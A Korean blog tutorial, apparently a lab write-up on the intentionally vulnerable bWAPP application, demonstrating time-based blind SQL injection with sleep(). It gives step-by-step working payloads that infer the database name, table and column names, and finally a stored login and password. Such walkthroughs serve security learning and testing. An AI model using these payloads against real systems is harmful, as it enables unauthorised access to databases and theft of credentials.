본문 바로가기
웹/비박스

Blind SQL Injection - Time Based

by SH_L 2022. 7. 7.
반응형

[Blind SQL Injection - Time Based의 정의]

 

Time Based의 Blind SQL Injection은 참과 거짓에 상관없이 모두 동일한 결과를 보여준다. 따라서 참을 구별하기 위해 인자에 입력한 시간만큼 응답을 지연시키는 sleep 함수를 사용하여 Injection을 시도한다.

 

 

 

[참과 거짓 판별]

 

' or 1=1 and sleep(5)#

 

Time Based의 Blind SQL Injection 취약점을 알아보기 위하여 검색란에 항상 참으로 만드는 쿼리를 입력한다.

 

 

SQL Injection 결과 5초 동안 대기한 후 이메일을 보낸다는 메시지가 출력된다.

 

 

 

[데이터베이스 판별]

 

' or 1=1 and length(database())=5 and sleep(5)#

 

가장 먼저 length 함수를 사용하여 데이터베이스 이름의 길이를 추측하는 쿼리를 작성한다. database() 함수는 서버의 데이터베이스 명을 반환하는 시스템 함수로 5일 때 5초 동안 지연된다. 즉, 데이터베이스 이름의 길이가 다섯 자리임을 알 수 있다.

 

' or 1=1 and substring(database(), 1, 5)='bwapp' and sleep(5)#

 

다음은 데이터베이스의 이름을 추측하는 쿼리를 작성한다. substring 함수를 사용하여 데이터베이스의 첫 번째 자리부터 하나씩 글자를 구분한다. 해당 쿼리를 실행하면 5초 동안 지연되므로 데이터베이스 이름이 bwapp임을 알 수 있다.

 

 

 

[테이블 판별]

 

' or 1=1 and length((select table_name from information_schema.tables where table_type='base table' and table_schema='bwapp' limit 1,1))=6 and sleep(5)#

 

데이터베이스의 이름을 알아냈으니 이번에는 bwapp 데이터베이스에 저장된 두 번째 테이블 명을 알아내는 쿼리를 작성해본다. 우선 length 함수를 사용하여 테이블 명의 길이를 알아낸다. 6일 때 5초 동안 지연되므로 테이블 명의 길이가 여섯 자리임을 알 수 있다.

 

' or 1=1 and substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bwapp' limit 1,1), 1, 6)='heroes' and sleep(5)#

 

다음은 테이블 명을 추측하는 쿼리를 작성한다. substring 함수를 사용하여 테이블 명의 첫 번째 자리부터 하나씩 글자를 구분한다. 해당 쿼리를 실행하면 5초 동안 지연되므로 테이블 명이 heroes임을 알 수 있다.

 

 

 

[컬럼 판별]

 

' or 1=1 and length((select column_name from information_schema.columns where table_name='heroes' limit 0,1))=2 and sleep(5)#

 

bwapp 데이터베이스에 저장된 두 번째 테이블 명을 알아냈으니 이번에는 heroes 테이블에 저장된 첫 번째 컬럼 명을 알아내는 쿼리를 작성해본다. 우선 length 함수를 사용하여 컬럼 명의 길이를 알아낸다. 2일 때 5초 동안 지연되므로 컬럼 명의 길이가 두 자리임을 알 수 있다.

 

' or 1=1 and substring((select column_name from information_schema.columns where table_name='heroes' limit 0,1), 1, 2)='id' and sleep(5)#

 

다음은 컬럼 명을 추측하는 쿼리를 작성한다. substring 함수를 사용하여 컬럼 명의 첫 번째 자리부터 하나씩 글자를 구분한다. 해당 쿼리를 실행하면 5초 동안 지연되므로 컬럼 명이 id임을 알 수 있다.

 

' or 1=1 and length((select column_name from information_schema.columns where table_name='heroes' limit 1,1))=5 and sleep(5)#

 

heroes 테이블에 저장된 첫 번째 컬럼 명을 알아냈으니 이번에는 두 번째 컬럼 명을 알아내는 쿼리를 작성한다. 우선 length 함수를 사용하여 컬럼 명의 길이를 알아낸다. 5일 때 5초 동안 지연되므로 컬럼 명의 길이가 다섯 자리임을 알 수 있다.

 

' or 1=1 and substring((select column_name from information_schema.columns where table_name='heroes' limit 1,1), 1, 5)='login' and sleep(5)#

 

다음은 컬럼 명을 추측하는 쿼리를 작성한다. substring 함수를 사용하여 컬럼 명의 첫 번째 자리부터 하나씩 글자를 구분한다. 해당 쿼리를 실행하면 5초 동안 지연되므로 컬럼 명이 login임을 알 수 있다.

 

' or 1=1 and length((select column_name from information_schema.columns where table_name='heroes' limit 2,1))=8 and sleep(5)#

 

heroes 테이블에 저장된 두 번째 컬럼 명을 알아냈으니 이번에는 세 번째 컬럼 명을 알아내는 쿼리를 작성한다. 우선 length 함수를 사용하여 컬럼 명의 길이를 알아낸다. 8일 때 5초 동안 지연되므로 컬럼 명의 길이가 여덟 자리임을 알 수 있다.

 

' or 1=1 and substring((select column_name from information_schema.columns where table_name='heroes' limit 2,1), 1, 8)='password' and sleep(5)#

 

다음은 컬럼 명을 추측하는 쿼리를 작성한다. substring 함수를 사용하여 컬럼 명의 첫 번째 자리부터 하나씩 글자를 구분한다. 해당 쿼리를 실행하면 5초 동안 지연되므로 컬럼 명이 password임을 알 수 있다.

 

 

 

[컬럼 내용 판별]

 

' or 1=1 and length((select login from heroes limit 0,1))=3 and sleep(5)#

 

heroes 테이블에 저장된 컬럼 중 하나인 login 컬럼의 내용을 파악하기 위한 쿼리를 작성한다. 우선 length 함수를 사용하여 컬럼 내용의 길이를 알아낸다. 5초 동안 지연되므로 login 컬럼 내용의 길이가 세 자리임을 알 수 있다.

 

' or 1=1 and substring((select login from heroes limit 0,1), 1, 3)='neo' and sleep(5)#

 

다음은 컬럼 내용을 추측하는 쿼리를 작성한다. substring 함수를 사용하여 컬럼 명의 첫 번째 자리부터 하나씩 글자를 구분한다. 해당 쿼리를 실행하면 5초 동안 지연되므로 컬럼 내용이 neo임을 알 수 있다.

 

' or 1=1 and length((select password from heroes where login='neo'))=7 and sleep(5)#

 

heroes 테이블에 저장된 컬럼 중 하나인 password 컬럼의 내용을 파악하기 위한 쿼리를 작성한다. 우선 length 함수를 사용하여 컬럼 내용의 길이를 알아낸다. 5초 동안 지연되므로 password 컬럼 내용의 길이가 일곱 자리임을 알 수 있다.

 

' or 1=1 and substring((select password from heroes where login='neo'), 1, 7)='trinity' and sleep(5)#

 

다음은 컬럼 내용을 추측하는 쿼리를 작성한다. substring 함수를 사용하여 컬럼 명의 첫 번째 자리부터 하나씩 글자를 구분한다. 해당 쿼리를 실행하면 5초 동안 지연되므로 컬럼 내용이 trinity임을 알 수 있다.

반응형

' > 비박스' 카테고리의 다른 글

비밀번호 변경 & 비밀번호 힌트 변경  (0) 2022.07.31
서버 측 요청 변조  (0) 2022.07.31
반사된 XSS 취약점  (0) 2022.07.31
세션 관리 취약점  (0) 2022.07.17
Blind SQL Injection - Boolean Based  (0) 2022.07.05